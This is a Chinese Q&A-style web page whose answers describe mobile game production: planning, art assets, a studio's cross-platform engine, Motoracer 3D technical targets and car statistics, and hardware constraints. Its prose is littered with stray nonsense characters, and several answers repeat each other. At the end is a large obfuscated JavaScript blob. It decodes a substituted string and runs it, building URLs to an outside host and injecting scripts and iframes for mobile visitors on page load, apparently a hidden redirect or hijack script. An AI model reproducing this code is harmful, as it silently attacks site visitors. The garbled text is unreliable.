推荐回答(5个)
手机游戏制作就是从游戏创意则睁到成为商业产品的全过游昌程。除了前期的市场调研外,整个游戏制作流程大致分为策划,美术资源制作,程序开发等几个阶段:
一、游戏策划就像编剧和导演一样,要规定游戏的世界构成,规定种族、气候,安排什么地方需要出现怪兽让玩家觉得刺激好玩,需要设计各种各样的武器和装备吸引玩家等等。专业点讲就是要设计游戏的背景故事,世界观,大陆布局,规则玩法,剧情对白,游戏任务,各种数值等等;
二、美术资源制作阶段,策划文档会分为技术设计文档、背景艺术文档和商业计划文档。背景艺术文档将指导下一阶段的美术资源制作,它包括:原画设定孙磨岁、模型贴图、角色动画、特效和音效制作等;
三、程序开发阶段,在策划阶段后,产生技术设计文档,这一文档将运用于程序开发。程序开发包括:引擎编写,脚本编写和代码测试;
四、游戏通过调试修改后,制作基本完成,随后运营需要随时进行更新。
手机游戏 虽然比较小有的只有几十KB 大多都就几MB、10MB以上算大了。但制作一点都不简单,麻雀虽小,但五脏六腑全。一般手机游戏都用JAVA写的,收集材料、剧情、编程、调试等等。具体分析如下:
游戏引擎的准备:
在制作游戏之前,必须有一套经过长期测试并且适用的游戏引擎。
数位红用了两年的时间总结开发出一套基于移动设备的游戏引擎:dragon bone game engine for mobile phone(龙骨),他可以支持目前大部分的高端移动设备,它不仅可以使程序开发人员及游戏项目节省了大量的时间,另外还可以让美术人员最直观的看到其设计效果。它最大的价值就是可以使开发人员的一套代码在不需要改动程序的情况下编译运行在不同设备平台上(改动不超过20%)。目前数位红及其他公司已经使用它开发游戏超过了30款。
引擎提供了非常完善的9个模块与3个增强模块,可以完全满足各类游戏开发的需要。游戏引擎可以直接嵌入到开发者的程序中,不需要额外的支持程序即可使所开发的游戏独立运行。游戏引擎简单、易用,编译后体积很小,占用内存也很小,可以节省玩家的内存空间及无线下载费用。基本引擎包含9个模块,引擎函数界面提供了类似windows的使用模式:
1、 文件操作模块:提供类似标准c的fopen,fclose等函数。
2、 内存管理模块
3、 2d图形图象模块
4、 对话框模块
5、 sms操作模块:可以在程序内部对sms的收发进行截获处理。
6、 加密模块:提供识别使用设备的imei功能,用于软件的加密目的。
7、 声音模块
8、 资源打包及压缩模块:可是使最后发售的软件包体积变小,尽量少的占用用户的内存空间。
9、 常用函数:如字符串操作等函数。
10、例子:提供一套完整游戏magicline的源程序。
引擎增强模块构成
其增强部分,包含三个模块:
1、 实时3d增强模块
2、 声音增强模块
3、 图形文件增强模块
ii. 正式开发的前期工作
a. 开发工具的准备
在很多人看来,手机游戏还是一种核做配很新鲜时尚的玩意儿,所以,谈起手机游戏的时候难免有种莫测高深的感觉。其实,手机游戏的整个制作过程十分简单。从某种角度而言,它是一种传统的回归,同时也是新旧技术的相互融合。最常用的开发工具有vc++,j builder及codewarrior,在设计工具上则更是和普通的pc游戏制作软件没有大的区别。有的设计人员更愿意使用“骨灰级”的二维设计工具dp,也有人愿意用3dmax、maya建模之后再进行二维修改,当然所有这些方法都要根据游戏的最终设定来决定。我胡仿们在做java游戏的时,一般都是采用像素级的二维绘制完成图片,即逐个像素点的完成。但在制作pda等类似设备的游戏时,就会采用3dmax或者maya建立模型,渲染后再修整。在设计过程中,我们也与大多数游戏公司一样使用了maya、3dmax、photoshop、painter等工具。
b. 确定游戏的各项参数及目标设备
这要求程序人员能给出准确的图片限制大小,即所有图片允许美工占用多少空间。由于手机游戏的改指制作受数据量的限制很大,所以我们在设计游戏时,经常为减少1k空间大小而大伤脑筋。另外,就是需要准确了解该手机允许的色彩数、分辨率、整屏刷新率,其实这也是对游戏引擎的一种测试。
以motoracer 3d为例,我们设想使其运行在nokia 9210、nokia 7650/3650、sony ericsson p800、pocket pc平台上。在数位红,由于我们拥有了自主开发引擎dragon bone game engine for mobile phone,游戏引擎是跨平台的,所以这一步骤我们就省去了不少时间。我们以nokia 7650/3650为最初调试蓝本,原因是在这些设备中,nokia 7650/3650的速度相对较慢,屏幕尺寸也相对其他设备小,因此以它为基础设备最为合适。
如下表,我们设计了motoracer 3d的基本技术参数。
技术参数 达成目标及要求
图像刷新速度 >18/fps
文件安装完成大小 <1000k
文件未安装大小 <400k
占用内存峰值 <700k
使用过程中游戏占用内存 <700k
游戏与操作系统兼容性 nokia 9210、nokia 7650/3650、sony ericsson p800、pocket pc
游戏图形特效清单 无 alpha
图形文件
声音文件 .wav
数据自定义
目录结构/变动文件清单
使用的动态链接库 未知
下面是经过初步估计的基本图片清单:
跑道外面的沙地草地元素
跑道的边上的指示方向的牌。(左右)
跑道地面元素
背景的天空图。
起跑线。
选择的时候得车图(4张)
比赛开始前站立的背面图(4张)。
比赛时候得车加人背面图(4套,每套9张,分别9个角度,从直立开始,每15度一张。)
撞车后的图(3桢)
比赛完毕名次画面。
速度仪表图。
数字(0至9等宽横排,分别有4套,速度数字,档位数字,排位数字)
菜单背景
top ten
按钮
巡回赛排名的背景
c. 准备游戏策划
很多开发者认为,手机游戏的策划不重要,这个观点是严重错误的,手机游戏的美术与程序开发工作量都非常有限,其表现力也受非常大的制约,因此一款手机游戏的可完性如何在某种意义上完全取决于游戏策划本身。
在此过程中,手机游戏策划基本同传统游戏策划无异。但游戏策划必须要对游戏的操作做出准确的设计,每个手机的键盘都不太相同,毕竟pc上的键盘基本都是101键。
再就是根据上面第一步给定的美工空间限制,美工要同策划共同商议,严格计算每张图片占用的空间,甚至是一个小图标都是不可以漏掉的。
以motoracer 3d为例,我们的游戏策划做了大量有关物理力学方面的公式,使其美工在设计图片时更符合真实的效果。
如下表:我们将每种赛车的速度特性均体现出来。
gear 1 gear 2 gear 3 gear 4 gear 5 grip 颜色
车1 最大速度(mph) 97 107 135 156 176 0.45 绿黄
加速度(mph/秒) 21 18 16 12 8
车2 最大速度(mph) 90 102 127 148 168 0.25 紫黄
加速度(mph/秒) 23 20 18 14 10
车3 最大速度(mph) 102 112 140 160 180 0.65 蓝黄
加速度(mph/秒) 20 16 13 10 7
车4 最大速度(mph) 94 105 133 152 172 0.35 黄蓝
加速度(mph/秒) 22 19 17 13 9
车5 最大速度(mph) 104 115 145 166 182 0.75 黑红
加速度(mph/秒) 19 17 14 10 7
车6 最大速度(mph) 92 105 133 152 178 0.5 红黄
加速度(mph/秒) 21 18 15 11 8
d. 美术及程序开发工作
motoracer 的贴图设计
建立摩托车的模型与赛手
调整运行时的动作
另外最重要的就是如果想做一款motoracer这样的游戏,首先自己就应该是摩托车的行家,我们motoracer 3d的首席美术设计师王科,就是一个疯狂的摩托车发烧友,他可以为了攒钱买机车,啃一年的馒头。呵…
e. demo测试
测试工作以motoracer 3d为例,我们开发周期6个月,因为有了引擎的缘故,使主代码开发周期缩短至3个月,为了保证这款产品具备国际水准,剩余的3个月我们基本都在找问题、鸡蛋里挑骨头。于是一款位列全球手机游戏销售前三名的motoracer 3d终于出炉了。
当然,在数位红像motoracer 3d的幸运产品并不多,数位红有30%的产品在demo期间就因为可完性、操作感等问题最终没有面世。毕竟想要打造一个优秀的品牌是要做出很大牺牲的。
iii. 手机游戏制作宝典
由于手机硬件设备方面的诸多限制和性能差异,我们在游戏的开发和制作过程中无法天马行空般的进行创作,而不得不综合考虑到多方因素的平衡。下面列出的是一些关键的性能参数,这些参数都直接影响游戏的效果。
分辨率
手机的屏幕大小各有不同,从80*30到320*240,就好比在pc发展过程中的cga、ega乃至vga,分辨率的高低直接导致了造型的大小及表现力,这点相信每个设计人员都有所体会。另外,由于手机型号及操作系统的多样性,导致了一款游戏并不能不加改动的在不同的手机上运行。对于美术设计人员而言,就要在设计之初考虑屏幕的自适应问题。比如在128×128分辨率下与200×200的分辨率下,如何可以不重新更换图片,但又达到同样的效果?
色彩数量
目前手机能达到的色彩数量也是限制美术人员发挥的一个重要瓶颈。从过去几年的黑白屏幕手机到现今256色、4096色及真彩色。digital-red在开发游戏时接触过非常多的手机,其中有的手机号称能显示4096色,但我们将一张4096色的色阶图进行显示,便发现有的颜色根本无法区分,更让人吃惊的是,个别手机还色偏严重。所以,设计人员是一定要根据实际手机进行图片绘制,在此,digital-red有过非常多的教训。
明亮度
液晶屏幕由于其独特的发光原理,并不能达到传统显示器的亮度,同时也就导致了很多色彩丰富的图案在强光下,不能显示出原有的效果,这点在手机户外显示时尤其明显。因此设计人员在设计手机游戏图片时一定要考虑这点,不能将色彩对比度设置的过于接近、图片设计一定要简洁明快,避免过小的图片。
显示速度
在我们接触的手机里,很多由于运算速度的问题,导致动画帧数并不能流畅,甚至达到不了10帧/秒,这对于游戏动画而言是致命的,我们一般采取局部刷帧或者尽量避免全屏幕动画来尽量达到预期效果。而且液晶屏幕本身也有显示速度问题,我们就发现过很多手机都有影像“拖尾”情况。这种情况,在实际游戏中很容易造成玩家的视觉疲劳,尤其在颠簸的车上或者是行动中,游戏时间过长,就有头晕目眩的感觉。如此,即使是一款优秀的游戏也无法留住玩家了。
电力
由于手机是液晶屏幕,大多数设备在高亮度的像素显示与一般像素显示上,两者耗电量是有所区别的,例如白色背景就要比黑色背景消耗更多的电池能量。因此,对于手机游戏而言,要尽可能节省玩家的电池,也算是对玩家的一种体贴吧。
手机游戏开发过程中的一些错误观念
很多想开发手机游戏的朋友们对于手机游戏都充满了幻想,digital-red也曾与这些朋友们一样,在脑海中有非常多的想法等待实现,但一旦真正开发游戏的时候我们就发现很不现实,这里将几个常见的错误认识与诸位分享:
移植pc游戏到手机上
pc上的游戏已经以百兆来计算其占用空间了,而很多手机游戏是以k来计算,大多数的手机游戏能安装60k的游戏就算不错了。
j2me游戏不用改动可以运行在各种手机上
j2me在移动设备上有一个midp 1.0标准,但各个手机厂商在推出支持j2me的手机上都对其进行了扩充甚至改动,一个程序想要达到最理想的效果就一定要针对不同型号的手机。
用java开发手机游戏要比用c++好
使用java开发手机游戏的确非常方便,但在效果与性能上很难与c++代码实现效果比拟。如在symbian os/wince设备上我们还是推荐尽量使用c++来开发为好。
java开发出的应用程序占用的空间小
在开发小型应用时,java程序的确空间占用较小,但如果游戏项目过大,java游戏的小巧优势就很难体现了。
手机游戏策划与传统游戏策划无异
手机游戏的策划禁忌非常多,要求策划人员必须全面了解手机的技术性能才能做出针对性的优秀游戏。
美术可以画大图,然后再缩小
一张大图如果缩成12*12大小,效果就可想而知了
手机游戏制作就是从游戏创意到成为商业产品的全过程。除了前期的市场调研外,整个游戏制作流程大致分为策划,美术资源制作,程序开发等几个阶段。
平台结构:Mac OS(苹果的),symbian(塞班、主要是诺基亚),Linux(过时的平台、但是很基础,如安卓就是基于他开发的)败团态,Palm(最大特色是不能后台),BlackBerry(黑莓),Windows Mobile(WM,不错的系统),Windows Phone(里面的xbox),Android(安卓,02年兴起的,很好的系统),还有几个新系统,魅族M8的my phone,N900的maemo。
未来趋势
未来的手机游戏平台因为ATI和nVIDIA两大PC显示芯片厂商专业级水准的加入而更为热闹。或芹在ATI推出手机和 PDA手机3D多媒体芯片(包含专用的媒体处理器Media Processor及3D加速器3D Accelerator)后,老对头NVIDA也毫不示弱,公布了他们的3D多媒体芯片,并且应用于三菱和神达MiTAC的智能手机上。
这些芯片在植入手察源机后能够有效的提升图形显示性能,使手机在进行多媒体演示和游戏时更够有出色显示效果。
手机上的游戏制作方法如下:
1、用eclipse开简答袭发工具用Java来开发的,先看j2se资料然后,学习好再去看安卓的SDK网页,也就是全英文版的,这个才是最权威的学习资料;
2、地图使用小像素块组合而成,能动的个体,一般用spirit类完成的,怎么让他们动,有的是所的通过播放一个个连续画面来实现,有的只用移动位置就可以;
3、支持目前大部分的高端移动举和设备,它不仅可拦兄以使程序开发人员及游戏项目节省了大量的时间,另外还可以让美术人员最直观的看到其设计效果。
手机游戏的制作通常包括以下几个步骤:1. 确定游戏类型和玩法:选择游戏类型和玩法,包括动作、射击、解谜、角色扮演等。2. 设计游戏界面和关卡:设计游戏界面、游戏关卡和道具等,确定游戏的视觉效果和游戏难度。3. 编写游戏程序:编写游戏程序,包括游戏逻辑、人物动作、音效等内容。4. 测试和优化:测试游戏程序的功能和性能,并且进行改进和优化。5. 发布游戏:将游戏发布到应用商店或其他平台,让用户安装并开始游戏。在制作手机游戏时,还需要关注各种手机平台的不同链历帆要求,例如不同操作系统、不同分辨率的屏幕、不同硬件等因棚雹素,以确保游戏能够在各种手机上正常运行。还需要注意游戏内容是否符合相关烂首法规和道德标准,以避免影响用户体验和违反法律规定。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();